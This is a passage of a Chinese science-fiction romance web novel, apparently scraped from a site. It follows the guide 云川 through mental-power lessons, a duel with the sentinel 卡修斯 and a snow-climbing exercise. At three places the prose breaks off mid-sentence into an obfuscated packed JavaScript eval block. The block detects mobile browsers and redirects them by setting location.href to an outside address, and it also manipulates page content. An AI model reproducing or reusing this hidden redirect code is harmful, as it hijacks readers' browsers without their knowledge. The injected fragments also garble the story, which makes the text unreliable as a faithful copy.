而在漩涡深处，有一个巨大而模糊的轮廓。像是由无数扭曲的线条组成，时而变幻出类似獠牙、利爪或者巨大的眼睛的形状，充满了原始和野性的力量。 云川冷眼旁观，静静等待。然后，抓住线条变幻的霎那将自己的精神力送了进去。 随着缓缓深入，一些破碎的记忆画面开始在脑海中浮现，同时一股汹涌的情绪浪潮向云川席卷而来。她能感受到怪物的愤怒，这种愤怒如同炽热的火焰，几乎要将它自己燃烧殆尽。 愤怒。到处都是愤怒。它在因为什么愤怒？ 无边黑暗中，云川将自己的精神力，想象成了一把枪。 她要射击“愤怒”。 瞄准。 上膛。 扣动扳机。 击针撞击到底的霎那，子弹出膛。 怪物的精神力防御破了一个口。 “很好。” 小婉老师赞许地笑了笑：“接下来是陷阱设置——利用环境中的精神力波动，伪装出看似无害的精神力区域。当敌人进入时触发陷阱，使其精神力受到突然干扰。” 云川的精神触须飞快在空气中编织出一张大网，停在怪物即将迈步进入的下一步。 而后，她按照曾经在精神污染风暴中，看见的那些被当作病毒实验体的人类的记忆，伪造出一个感染者混乱又绝望的精神力场。 这果然迷惑了怪物。 原本打算攻击云川的它顿时停住脚步，有些迷茫地扭头朝向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15068162|163113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其他方向。然而为时已晚，它已经踏进云川的陷阱，结结实实被网住了。 就是现在！ 云川猛地对它发动高强度精神力攻击，怪物发出一声怒嚎！ 可云川毫不犹豫，从里到外同时启动攻击核心，怪物当即烟消云散。 “不错嘛，无师自通明白了复合攻击的方式。学习能力真强。” 随着一声清脆的响指声，周围恢复原状。 小婉老师笑眯眯地站在云川身后，原本想拍拍她的脑袋，可考虑到两人间的身高差，手不得已落在了云川的肩膀上。 “是您教得好。简洁明了。”云川说。 小婉老师矜持地点了点头：“下面进入第二点环节，精神力防御薄弱。” “除了卡修斯之外，你们队伍中的五个人，都在本次战场中遭到了怪物的精神污染。归根究底，还是因为你们精神防御力薄弱。” “精神防御分为两种，即自适应防御和反击型防御。后者很好理解，顾名思义，就是利用防御护盾的反弹机制，将部分供给能量转化为反击力量，以彼之道还之彼身；而自适应防御，则需要根据对手的攻击类型自动调整。 比如，当你遇到精神力腐蚀类攻击时，防御机制要能够自动转换为净化和隔离模式；当面对高强度的精神力冲击时，防御能够迅速增强并分散冲击。” 云川：“是。” 小婉老师：“第三点，缺乏精神力与环境的交互。” “……你要感知利用周围环境中的精神力能量源。比如在一些特殊地区存在天然的精神力能量富集区，要学会汲取这些能量增强精神力储备。当然也可以利用环境中的精神力波动，伪装自己的精神力信号。比如在丛林环境中让自己的精神力波动与周围动植物相融合，使敌人难以发觉自己的存在，从而出其不意地攻击。是的，没错，动植物也是有精神力的但这点我们之后的课程再说。总之就是……” 三小时后。 “你明白了吗？”小婉老师问。 “明白了。”云川点头，“我会勤加练习的。” 小婉老师的全息影像定定看了她一会，接着莞尔一笑。 “那就好。行了，今天差不多可以结束了。回去吧……哦，对了，酒店有专门的温泉观星台，累得话可以去那里放松哦。” “好的。谢谢老师，我知道了。” 云川退出了203训练室。 她本想等隔壁的湛容华一起走，可待了两分钟却始终不见他出来，于是只好自己先回房间。 反正他们所有人都住在六楼。 洗漱一番过后，毫无睡意的云川决定逛一逛克里斯塔雪山酒店。 作为旧联盟时代的建筑，这里真的别具一番风情。 ……酒店底部的透明廊桥跨越冰裂峡谷，如同蛛网般四通八达连接着不同的塔楼。 云川最先去到的就是旋转酒吧。 令人意外的是，这里的酒水和调酒工具非常齐全，而且看某些酒瓶上的日期，竟然还是今年。 她扬扬眉毛。 那她就不客气了。 碍于觉醒者不能喝酒的规定，她给自己调了一杯酒精度数为0的桑格利亚，还往里面加了比平常多一倍的糖浆。 然后她端着酒杯，去到了小婉老师推荐的温泉观星台。 观星台悬浮在半空，穹顶架设着直径百米的引力透镜，能将星云的璀璨星光聚焦成流淌在酒店建筑表面的光辉瀑布，当真是美不胜收。 云川没有泡温泉，而是在一旁的沙发上坐下，一边喝着桑格利亚，一边凝视天空。 不一会儿，她身边多了一个人。 “你在喝什么？” “窝囊的无酒精饮料。”云川朝来人举了举杯子，“晚上好，卡修斯，你是来泡温泉的吗？” 卡修斯摇头：“我只是上来看看。” 接着，他顿了顿：“为什么是‘窝囊’？” 云川耐心解释：“因为成年人原本是可以喝烈酒的。但我现在在圣所，这里大部分人都是未成年，觉醒者也不允许喝酒，所以我只好妥协。” “原来是这样。”卡修斯端详着被她握在手里的。颜色鲜红的桑格利亚，“我还以为是血。但我没有闻到血腥气。” “要尝一口吗？是甜的。”云川说着，拿起桌上的吸管。 “谢谢，不用了。”卡修斯用手背拦住她的手，“我不吃营养剂以外的食物。” 云川失笑：“也对，这对哨兵来说，可能太甜了。” 说着，她收回手，低头浅浅啜饮着。 酒汁湿润了她的嘴唇，卡修斯闻到其中散发着的甜腻气息。 他垂眸瞧着云川，看见她不小心露出一段洁白的脖颈。 很修长。 以他的视力，完全能看清云川皮肤下蓝色的血管。 卡修斯忽然想： 喝着这么甜蜜的水，她的血，应该也是甜的。 27. 不灭灯塔27 强烈的饥饿感就是在这时突然袭击卡修斯的。 明明晚餐的营养液已经提供了足够的饱腹感和营养，可是—— 云川的脖颈在星辉的照耀下，正散发着一种，令卡修斯感觉眩晕的光。 只是看一眼，他的喉结便开始空虚地抽搐着。 ……卡修斯需要非常克制，才能勉强不发出吞咽津液的声音。 他的脑海中有一个声音在警告：“你已经吃过东西了，卡修斯。” 可身体里的每一个细胞仍然在呐喊。 “好饿好饿好饿——” “她看起来很好吃——” “想吃她的髓液想吃她的精神力想吃她想吃想吃——” 停下！ 在云川看不见的地方，距离云川较远的那只手被卡修斯狠狠攥紧成拳头。 他强迫自己收回眼神，拧过脑袋望向头顶的夜空。 或许是因为卡修斯将全部的注意力都用在遏制那在错误时间产生的食欲上面，因此才忽视了一旁，云川向他投来的，暗藏深意的一瞥。 无论以何等挑剔的眼光来看，坐在自己身旁的卡修斯都是个模样俊秀到雌雄莫辨的美少年。 他皮肤白皙，五官秀丽，乌黑的卷发不经意散在脸颊和肩膀，随意地打着卷。虽然他不知为何，此刻的脸色有些许疲惫和苍白，嘴唇也紧抿成一条逼仄的直线，可他的美貌依旧犹如一株夜间的百合，带着纯洁却馥郁的香气。 尤其是，当他仰视星空时，那双深紫色的眼眸中所闪烁的光芒，完全不亚于星辉。 如果只是看脸，卡修斯给人的感觉显然是个柔弱不能自理的小白花。然而只要顺着脖子往下，就会发现这家伙肩膀宽阔，胸膛紧实，身材几乎和模拟战场中那出场就帅人一脸的暗紫机甲一模一样，有种别样的反差感。 硬要说的话……是会在酒吧里被人疯狂请酒喝的类型。 可他给云川的感觉很怪。 最开始还不明显。但到了在模拟战场的后半段，每当两人相处的时候，卡修斯就总会散发出一股若有似无的侵略性，这种侵略并不是来自身体上的压迫，而是源自精神上的黏缠。 就好像原本在天鹅绒表面游走的蜘蛛，细腿轻抬轻落，小心又不失优雅地进行着属于自己的冒险。 然而，天鹅绒柔滑的表面却不知从哪出现一滩蜂蜜，在蜘蛛落脚的瞬间紧紧抓住了她，像个无形的囚牢一样黏住这个本在自由漫步的小生灵。 “卡修斯在刻意接近我。尽管手段不是很高明……”云川心想，“但，为什么呢？他有什么目的？又是出于什么动机？我身上有什么他想要的东西吗？或者我能给他什么？我们在成为排位赛队友之前根本毫无交集。等等，我是一个向导，而他是一个哨兵。” 云川的视线从他正可疑滚动的喉结上升到那张柔美的脸蛋上。 年少，青涩。 确实是个哨兵。但是，是一个刚成年不久，正值青春的男性哨兵。 呃？ 云川默默将杯中的桑格利亚一饮而尽。 希望是她想错了。 云川面无表情地把空掉的酒杯放在桌子上，发出一声清脆的“嘭”声。 这声音显然唤回了卡修斯的注意力。 他的眼风顿时如同匕首一样锐利地刺过来。 可在对上云川的目光以后，他凝滞片刻，很快像是瑟缩一般迅速转向了别处，喉结不安地滚动一下。 好可疑啊。 云川眯起眼。 她不是扭捏的人，也不希望将精力耗费在维持队友之间良好的关系上，因此很快就开口。 “卡修斯，你为什么不敢看我？” 不等卡修斯回答，云川紧接着又问。 “难道是因为你喜欢我吗？” 观星台上的空气像是被液氮冻住了。 卡修斯几乎不敢相信自己的耳朵。 他一寸一寸地扭过头去，颈椎好似生锈的发条一般发出“咔哒咔哒”的响声。 “你在说什么？” 直到此刻，卡修斯才发现自己嗓音竟已如此沙哑。 他好不容易才控制住自己对云川的食欲，根本不理解她这话究竟是什么意思。 瞧着他茫然中透着不可置信的目光，云川心下一松，心道果然是她想多了，卡修斯虽然年纪轻轻，但很明显是个事业批，对和向导联结并不感兴趣，对她也没有超出队友范畴的感情。 云川于是轻描淡写地笑笑：“看你走神了，开个玩笑吸引你的注意力。” 卡修斯伸手掩住嘴角不自然的抽搐：“……抱歉。我刚才在想别的事情。” “是关于星星的事吗？” 云川想起酒店外墙上的星图。 “当时，你想找哪一颗星星？” 卡修斯一下子明白了她在说什么，轻轻垂下眼帘。 “我想看看我的故乡在哪儿，”他说，“可是，我忽然发现，我已经不记得了。我忘记了我来自哪里，也忘记了故乡的名字。” 云川：“你不是瑟银星人吗？” 卡修斯点头，又摇头：“我出生在别的星球，之后被领养到了这里。某种程度而言，瑟银星算是我的第二故乡。” 云川笑了笑：“巧了，我也是。” 卡修斯被卷发遮住的眼眸闪了闪。 他抬头，看着她：“真的吗？” “当然。”云川身体向后靠近沙发，眼底倒映着璀璨的星辉，“我是来自特蓝星的遗民。” 特蓝星。 卡修斯舌尖抵住上颚，默念这个名字。 “听上去很耳熟。” “它是一颗高污染星球，早在十几年前就已经不适宜人类居住了。” 卡修斯凝视着她的侧脸，发现她睫毛长到几乎要抵到眼镜片，像静止的蝶翼。 他听见自己用低柔的声音缓缓问：“高污染？那里发生了什么？” 话音刚落，他看见那片蝶翼轻轻颤动了起来。 云川面无表情道：“它遭到了异虫的入侵。” 如天雷在耳畔炸响！ ……一股战栗的麻痒顺着脊柱迅速攀升至卡修斯后脑！ 他听见自己胸膛中被肋骨包围的肉块正在狂跳，每一次鼓动都带着一种血脉喷张的激动。他朝向云川的半张脸皱着眉毛，下垂的眼角显得惋惜而忧伤；另外半张脸则隐没在黑暗中，嘴角上扬，暗紫色眼珠兴奋地跃动着。 云川：“异虫污染了特蓝星的空气、水源和生物基因，大量人类因此死亡，剩余幸存者被迫逃亡至其他星球。我不知道它们是怎么悄无声息出现在特蓝星上的，但这些异虫只用了六天时间，就彻底改变了特蓝星上，包括我在内的所有人的命运。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15080630|163113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卡修斯：“异虫毁了你的家园……你恨他们吗？” “恨？”云川扯唇一笑，笑意却极为浅淡，很快就变得面无表情。 “比起仇恨，我反倒要感谢它们，让我在那么小的年纪，就深刻明白了人类作为个体时，力量是何等的渺小。”云川低头打量着自己的手掌，卡修斯看见，她慢慢收拢修长洁白的手指，握紧成一个拳头。 这一刻，卡修斯腹中的饥饿和空虚都被这拳头紧紧抓住了。 云川：“我庆幸，是我亲眼目睹这一切。” 而她将永远不会忘记那一天。 小小的云川爬出废墟，首先看见的不是晴朗的天空，而是头顶大片乌云似的虫群。 它们遮天蔽日，如同一块巨大的、不断蠕动的黑色幕布，势不可挡地朝地表压来，身后拖着带着毁灭气息的火焰。 最先降落的是一些体型巨大的异虫。它们有着坚硬的外壳，上面布满尖锐的刺和诡异的纹路，巨大的口器不断开合，发出令人毛骨悚然的嘎吱声。它们爬行速度极快，无数的腿或触须相互交错，朝着各个方向前进，所过之处一片狼藉。 没什么能抵挡它们。 于是，异虫如同绝望的潮水，就这样淹没了整颗星球。 云川没能在自己的回忆中沉浸多久。因为很快，她头顶的夜空就出现了一些异动。 有光照亮了她的脸孔。 云川抬头—— 只见，极光正在头顶闪耀。像一道绿色的泪痕，蜿蜒漫过天际。 卡修斯没有去看极光。他依旧保持着最开始的姿势，一眨不眨注视着云川的侧脸。注视她那被藏在镜片后的眼睛。 此时，他不由脱口而出：“你的眼睛……” “嗯？” “你的视力不好吗？” 云川失笑，回过头看他：“不是。” “那你为什么戴眼镜？” 云川沉吟：“这样会显得人沉稳一点。” 薄薄的镜片遮挡住卡修斯的视线，玻璃的反光让他无法看清云川的眼睛。 卡修斯凑近云川，云川下意识伸手挡住他近在咫尺的脸。 她感觉到他温热的呼吸喷在手心。 “你在做什么，卡修斯？” “我想离你的眼睛近一点。” 卡修斯说。 “我想看清楚，她们究竟是什么样的。” 他的目光专注，像个一心想要求得答案的学生。 云川却后退一步，和他拉开距离。 “你想知道？” 卡修斯点头。 云川眨了眨眼：“那你想用什么来交换？” 卡修斯的脑袋微微往另一边歪了歪，似乎不明白她语中含义。 早在模拟战场时云川就发现他对语言的理解能力似乎有问题，故而轻轻一笑。 “当你想要凝视深渊时，请准备好支付凝视的代价。卡修斯，你准备用什么东西来交换呢？” “我可以给你看我的眼睛。”卡修斯沉思片刻后这么说。 云川摇头。 “那你想要我用什么来交换？”卡修斯问。 “攻击我，卡修斯。” 云川回看他。 “现在，用你的精神体攻击我。” 正好。 她可以趁机实践一下今天的课程内容。 28. 不灭灯塔28 几乎就在云川话音落下的瞬间，周围顿时陷入一片浓墨般的黑暗。 而紧随黑暗接踵而至的，是忽然排山倒海般施加在耳膜和肺部的压力。 云川只觉得自己仿佛落入了一片深海。 ……没有一丝光线可以穿透这一片黑暗，她就像被困在了一个没有出口的墨色牢笼里。 云川瞬间反应过来，自己已经被卡修斯拉入了他的精神领域中。 真不愧是卡修斯。 行事作风如此简单粗暴，说攻击就攻击，没有丝毫拖泥带水，上来就是大招。 卡修斯所营造的深海，处于一片诡异的寂静中。 但这种寂静，偶尔会被一些不知来源的奇怪声响打破。 可能是深海生物发出的声音，也可能是水流在复杂地形中产生的响动。可无论是哪一种声音，其产生的目的都是为了给云川制造恐惧，让她的神经时刻处于紧绷状态。 ——卡修斯那未知的精神体动物就潜藏在这片深海中。 它会是什么样的？ 云川看不见周围的环境，因此只能放任自己想象那是一条巨大的，长满尖牙的怪物。 刚接触的时候，她认为卡修斯是一尾优雅斑斓的刺客潜鲛，会随着海中变幻的光线游刃有余地改变自己的色彩，静谧无声地等待猎物的接近。 但在浸入卡修斯的精神领域之后，云川推翻了自己当初对他的印象。 因为——这是一片光芒无法触及的深海。 刺客潜鲛无法在这样无光、高水压的极端环境下生存。因此卡修斯的精神体动物只会是别的东西。 一些更危险的家伙。 具有明显深海生物特征。 比如…… 一张能够牢牢抓住猎物，巨大且长满细密利齿的嘴。 四周静谧得可怕，只有自己的心跳在耳畔回荡。云川眼角余光，不动声色地向自己的身侧扫去。 只见，有微弱的光芒在不远处的黑暗中闪烁，既像来自希望的指引，又如一双不怀好意的眼睛。 突然，毫无征兆，那点光亮被什么东西遮挡住了！ 来了！ 云川猛地转身！ 只见一张巨大的鱼嘴从黑暗中冒了出来！ 这鱼嘴大得超乎想象，嘴角裂开，长满许多排长而尖锐的针状牙齿，正冲着云川头颅狠狠咬下！ 一道道精神力波动如同实质化的水流向云川席卷而来，显然是一种威慑手段！ 云川霎时间往后退去。 同时间，一只渺小的，仅有拇指大小的流浪蜘蛛出现在水流的后方，正以极快的速度向后跳跃。她有八条灵巧的长腿，在精神领域中快速移动，每一次跳跃都能巧妙避开精神波动和直接的咬击。 云川的目光紧盯在对面鱼的身上，试图寻找破绽。 虽然早有心理准备，但在看清卡修斯的精神体动物后，云川仍是小小震撼了一下。 无他，只因为和卡修斯那张漂亮到雌雄莫辨的脸比起来，眼前这条鱼，实在是长得太太太太太太丑陋了！ 该怎么形容这条鱼的外貌呢？ 大而呆滞的眼睛，灰白泛着死气的鳞片，鳗鱼般滑腻的管状体型，坚硬锋利的背鳍，以及一颗和陆地蜥蜴有七分相似的头…… 理智上，云川清楚地知道，这是一条深海蜥蜴鱼。 不是，明明深海蜥蜴鱼也被称为深海仙女鱼，其中有许多色彩鲜艳鱼鳍飘逸的品种，可为什么卡修斯就偏偏觉醒了当中品相最猎奇的呢？ 属于是，模拟战场的怪物看了都会被反向精神污染的程度…… 云川在心中疯狂腹诽。 卡修斯听不到她此时的心声。 他在战斗的过程中一向表现得非常冷酷。 深海蜥蜴鱼虽然样貌丑陋，但来势汹汹，丝毫不给流浪蜘蛛喘息的机会，继续步步紧逼。 他背鳍竖起，如同战舰的利刺不断向蜘蛛逼近，利用精神力在周围制造出一种压抑的氛围，试图削弱蜘蛛的精神抵抗能力。他的游动轨迹变得更难以捉摸，时而直线冲刺时而突然转向，让蜘蛛难以预判。 然而云川也并没有慌乱。虽然她的小蜘蛛仍旧在后退，可她在这过程中释放出一丝微弱的精神丝线。 这些丝线并不适用于捕猎的蛛网——流浪蜘蛛从不织网，作为机会主义者，比起等待，她更愿意蓄力主动出击——而是一种精神干扰手段。 这些丝线悄然隐匿在水流的波动之中，如同一个个小型的陷阱。 或许是因为蜘蛛的连番退却，深海蜥蜴鱼的进攻得不到有效的成效，他开始逐渐变得有些急躁。在又一次的全力冲刺时，他没注意到周围已经被布置了精神陷阱，直接冲进了小蜘蛛的包围圈中！ 原本隐藏在水流中的丝线瞬间收紧，限制了深海蜥蜴鱼的行动。 蜥蜴鱼挣扎着，一边试图用牙齿咬断丝线，一边扭动着滑腻的身体想要挣脱。 然而，丝线只是不断地重生，并且越缠越紧。 就是现在！ 看到机会的流浪蜘蛛迅速发动反击。她高高跃起，直接朝被束缚住的深海蜥蜴鱼扑去！ 卡修斯本想躲避，然而小蜘蛛已经将自己锋利的螯肢扎进他鳞片的缝隙中，无论他如何疯狂挣扎都无法将她甩下！ 大量的精神毒液顺着口器注入蜥蜴鱼体内，这条可怜的鱼在毒液的侵蚀下逐渐变得虚弱，反抗越来越微弱。 终于…… 深海的幻象陡然破碎，卡修斯的身体从黑暗中缓缓浮现出来。 他站在云川对面，身体摇晃了一下。 卡修斯：“你、你赢了……” 云川伸手扶住他的手肘，卡修斯得已稳住身形，接着向后跌进了沙发里。 云川扬起一抹浅笑：“忘了告诉你，流浪蜘蛛是有剧毒的，卡修斯。” 但她的精神毒液剂量掌控得很好。 在经历了小婉老师长达三小时的训练以后，云川对此已经有数。 “你回去睡一觉就好了。” 卡修斯缓缓抬起深紫色的眼眸，仰头看她。 “这次是我轻敌了，你比我想象中还要强。”他牢牢盯住云川，过了一会后，忽然说，“既然我已经按照你的要求，向你支付了代价，那么，作为交换，你是不是得给我看看眼睛了？” 云川：“啊，你还没忘记这件事啊？” 她怪异地看了卡修斯一眼，心想这是什么奇特的癖好。 考虑到这也不是什么过分的要求，云川伸手摘下眼镜，半弯下腰俯视卡修斯。 “这样，满意了吗？” ……向导总是隐匿于镜片之后的眼眸，如今终于毫无遮拦地完整展露在了卡修斯眼前。 这是一双琥珀色的眼睛。 深邃，俊美，但异常浅淡。 像某种看起来温润，触手却极度冰冷的晶体，于星空下旋流着浅浅的金。 当天夜晚，卡修斯梦见了这双眼睛。 梦里的这抹金色一直在看着他。 看着【他们】。 看着【他们】身后，因为急速降落摩擦大气，所带出的长长火光。 · 第二天白天的训练项目是雪山攀登。 这是体能训练的一种，旨在逐步提高特训营成员的耐力和腿部力量。 哨兵和向导需要背负一定重量的装备（根据自身承受能力分配），沿着陡峭的雪山坡面向上攀登。 在攀登过程中，他们需要应对不断变化的雪质和高度落差。 “在松软的新雪上行走，与在坚硬的冰层上攀爬，可是截然不同的两种体验。”云川的体能老师——现在是大家的体能老师——苏一萌一脸严肃地对他们说，“我们在每隔五百米的地方设置了检查站点，你们需要在规定时间内到达。如果超时，需要接受惩罚。” 麦考夫举手：“请问，是什么惩罚呢？” 苏一萌眼眸一眯，意味深长道：“到时候你们就知道了。” “啊，这时候就不要卖关子了吧老师！”麦考夫一阵鬼哭狼嚎，被阿比盖尔冷着脸给了一拳。 “行了。收拾收拾准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15085943|163113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 备出发吧。”苏一萌嫌弃地拍掉云川肩膀上的落雪，轻轻推了她一把。 云川背上二十公斤的负重行囊，戴上雪镜，开启了新一天的训练。 幸好昨晚睡前她在酒店的全自动SPA馆来了个深层按摩，否则以昨天的训练量，她会在今早因浑身肌肉僵硬躺在床上动弹不得。 可即使是这样，雪山攀登对云川来说还是很困难。 ——这主要体现在速度方面。 和其他人比起来，她简直是在龟速行进。距离规定时间只剩下了两分钟，大家都已经开始前往第二个站点，云川却才行进了一半的路程。 这让从小都争强好胜，对第一抱有执念的云川受到不小的打击。 尽管她心理清楚生理上的虚弱是没办法瞬间改变的，可是…… 真的非常不爽啊啊啊啊啊啊！！！难道没了机甲辅助她就只能当最后一名了吗？这怎么可以？！ 关键时刻，云川爆发了。 她不知道哪里来的力量，突然闷头往前猛冲！ 近了，近了！就快要到了！还剩二十秒钟，她一定可以的！ 冲啊，云川博士！ 心底有个声音在不断呐喊，云川的眼里一时间只剩下那个象征检查站的红色小旗帜。 就在她距离终点只有一步之遥的时候，云川前面的那只脚忽然踩了一空，身体重重摔倒在了雪地上！ 操操操操操！！！ “时间到。” 一个冰冷的电子音在这时候响起，云川挣扎着从地上爬起来，但还是晚了几秒钟。 代表监视的电子雕鸮，已经不知不觉在她头顶盘旋了好几圈，口中发出尖锐的鸣叫。 雕鸮眼中红光闪烁。 “已经锁定惩罚目标。正在投放惩罚措施。” 等、等一下。 投放什么？！ 怎么有种不详的预感…… 云川浑身鸡皮疙瘩都在这时候冒了出来。她肌肉紧绷，精神域网瞬间释放，警惕地观察周围。 一声极度轻微的踩雪声从身后方响起，云川心中警铃大作，扭头看向声音来处。 只见，一双泛着绿光的眼睛，正贪婪地注视着她。 云川：“……” 他大爷的！ 狼来了啊啊啊啊啊！ 身后传来一声巨响。 湛容华困惑地转头看去：“云川……嗯？” “人怎么不见了？我刚才怎么好像听到一声惨叫？” “快别管这些了。” 走在他前面的麦考夫浑身抖了抖，咽了咽口水：“生死有命……死队友我不死我……” 说着还双手合十，虔诚地朝天空拜了拜。 湛容华欲言又止地看着他，又望一眼身后：“她不会出什么事吧？要不要下去看看？万一……” 麦考夫睥睨瞥他一眼：“万一你继续这么磨蹭下去，下一个倒霉的就是你了，阿华。” 于是湛容华也抖了抖。 “哈哈……” “我想我们还是赶紧走吧，哈哈。” 已经抵达第二个站点的解厉和阿比盖尔看着前方脚步不停的卡修斯，彼此对视一眼，凑在一起嘀嘀咕咕。 阿比盖尔：“你有没有觉得，今天的卡修斯有些怪？” 解厉：“！你也有这种感觉吗姐妹！卡修斯看样子魂不守舍的。吃早饭的时候眼神发直……我是说，虽然他平时也没什么表情，但今天莫名其妙地看上去很呆。” 阿比盖尔沉思：“可能是昨晚没睡好吧？对了，你昨晚训练到几点钟？” “……十二点。”解厉牙疼地说，“你呢？” 阿比盖尔：“十一点。” 原本两人还想再说些什么，可被身后忽然传来的嚎叫打断。 二人同时往后看去。 阿比盖尔用手在额前搭出一个小帐篷。 “啊……川川和狼打起来了。” “嗯？和什么？”解厉眼睛顿时瞪圆，不可置信道，“狼？” “这居然有狼！” 29. 不灭灯塔29 云川并没有和狼互殴。 准确来说，是她单方面地正在被狼追。 难以置信这种事情居然会发生在她的身上。 其实，最开始在雪地中发现有狼的时候，云川原本是很紧张的。然而在和狼对视几秒后，她十分愕然地发现这是一头全息模拟出的冰狼。 冰狼幽蓝色的眼睛里闪烁着狡黠又凶狠的光，如两团阴冷的鬼火。 作为云川未按时抵达检查站的“惩罚措施”，冰狼在与她对峙的第三秒时瞬间发动了进攻，嗷呜一声就扑跃过来，目标直指—— 云川的屁股。 不是？这对吗？！ 狼的目标居然不是和她搏斗，而是咬她的屁股！ 冰狼锋利的牙齿在阳光下反射出凉凉的光，每一颗都仿佛能撕裂猎物，刺得云川眼睛生疼。 她在心底怒骂一声。 特训营的老师真是好险恶的心，竟然能想出来这种伤害性很强但侮辱性更强的毒计！可恶，她是绝对不会让她们得逞的！ 云川拔腿狂奔。 模样当然是很狼狈的。她原本挺拔的身姿此刻被沉重的装备包压得有些佝偻。并且，随着云川的奔跑，本就鼓鼓囊囊的包袱更是颠簸，几乎下一秒就要把她压倒在地。 她原本披散在脑后的柔顺长发此时像被狂风席卷的杂草在半空中肆意飞舞，甚至因为出汗，有几缕发丝还粘在了她脸颊上。 然而云川无暇顾及这些，冰狼正紧紧追在她的身后，并有意将速度控制在她能承受的范围——既不会跑得过快让她丧失与之对抗的信心，又不会慢到令她失去紧张感。 云川恼火地意识到，自己正在陪冰狼玩一场猫捉老鼠的游戏。 而最不幸的是，云川才是那只慌不择路的、被玩弄的老鼠。 可这又能怎么办呢？ 只能怪自己技不如人，在即将抵达目的地的时候摔了一跤，错失良机。 云川黑着脸，将对狼和自己的怨念埋在心底，烧成一股炙烈的火苗。 奔跑啊！云川！ 她在心中呐喊，不要认输！ “嗷呜嗷呜！”让我咬一口啊小姐姐。 身后冰狼猛一下提速冲她袭来！ 云川下意识往前顶胯，卯足了劲儿向前冲，根本没有意识到自己已经跑过了一个检查站。 麦考夫惊愕地看着从身旁迅速窜过去的两道影子，对身旁人道：“……刚才什么玩意儿过去了？” 话音落下后，却没人回应。 “阿华？”麦考夫扭头，发现本该和他并排站着的的湛容华早已不见踪影。 “我先走了，麦考夫！”前方卖力奔跑的湛容华回头，朝他灿烂地挥了挥手，“你好好在原地休息哦~” 麦考夫：“……” 麦考夫：“喂可恶别抛下我啊！咦喏！怎么又有一头狼来了！不要咬我的屁屁啊啊啊啊啊——” “后面还真是热闹啊。” 正在第三个检查站短暂休息的阿比盖尔收回眺望的目光，刚这么对解厉感慨的时候，两人身旁就迅速掠过去一阵风，扬起了解厉垂在胸前的两根小辫子。 解厉张嘴想说什么，可这时候又掠过去第二阵风，裹挟着飞起的雪块砸在人身上，冰凉凉的。 她抹去身上的雪，额角青筋直跳：“麦考夫这小子一定是故意的！” 解厉暗骂一声，不过注意力很快就偏移到了其他地方。 “奇怪，追着川川姐和麦考夫跑的那两头狼怎么专门盯着屁股咬啊？” 阿比盖尔正打算重新收拾行囊上路，闻言笑眯眯道：“不然他们怎么能跑这么快呢？啧啧，已经超过我们了啊。” ……好奇怪的响动。是雪崩了吗？ 处于雪山攀登队伍最前方的卡修斯脚步突然一顿。 他站在距离终点还剩五十米的山坡上向后看去，就看见不远处正迎面飘来一大片雪雾，像是被炸开的烟雾弹，不断升起又消散。 而在雪雾之间，则涌动着一片荧光粉色的潮水。 卡修斯一眼就看见了其中的云川。 她不知道从哪爆发出一股潜力，竟然冲在了队伍的正前方，每跑一步就扬起一小片的雪雾。 那些雪雾像是追随她的白色精灵，在阳光下闪烁着斑斓的光芒。 即使云川戴着遮盖住全脸的护目镜和面罩，卡修斯也仿佛能看见她坚毅的神情。 卡修斯想，此时，云川的双眼一定正紧紧盯着他，美丽如晶石的眼中燃烧着想要追赶并超越他的火焰。 她会紧抿嘴唇，额头上青筋微微凸起，双臂有节奏地摆动，手指紧握成拳…… 而这些都是云川全力以赴向他奔跑的证明。 不知怎得，卡修斯的嘴角微微扬起。 他一眨不眨盯着云川，感受到身体内的血液正在沸腾。 在于模拟战场中见到云川的第一眼，卡修斯的直觉就告诉他，假以时日，眼前这个人一定会成为一名强大的向导。 届时，她要么成为他的同盟，要么成为他的敌人。 果然，他们在阿莱城合作的很愉快。 然而在经过昨晚的战斗后，卡修斯忽然意识到…… 其实，他更想要云川当自己的对手。 当他们在黑暗中毫不留情地攻击彼此的时候，卡修斯突然发现，他能在云川的眼中，看见自己清晰的倒影。 这令他感到战栗。 而现在，在阳光下，云川又一次向他发出挑战。 她如此果决地向他奔来，而他也会给予对手应有的尊重。他会耐心地等待她和自己站在同一起跑线，再一起朝终点进攻…… 云川路过了他。 卡修斯：“……” 紧接着，他看见她身后紧紧胶着一只狗，正龇牙咧嘴冲她的臀部咬去。 ……等、等一下，这狗是哪里来的？！ · “我讨厌狼。” 晚饭过后照常是精神力一对一训练。 在被小婉老师问道，在冰冷的雪山中被小狼狗热情追逐是什么感觉的时候，云川阴沉着脸这么回答。 小婉老师哈哈大笑。 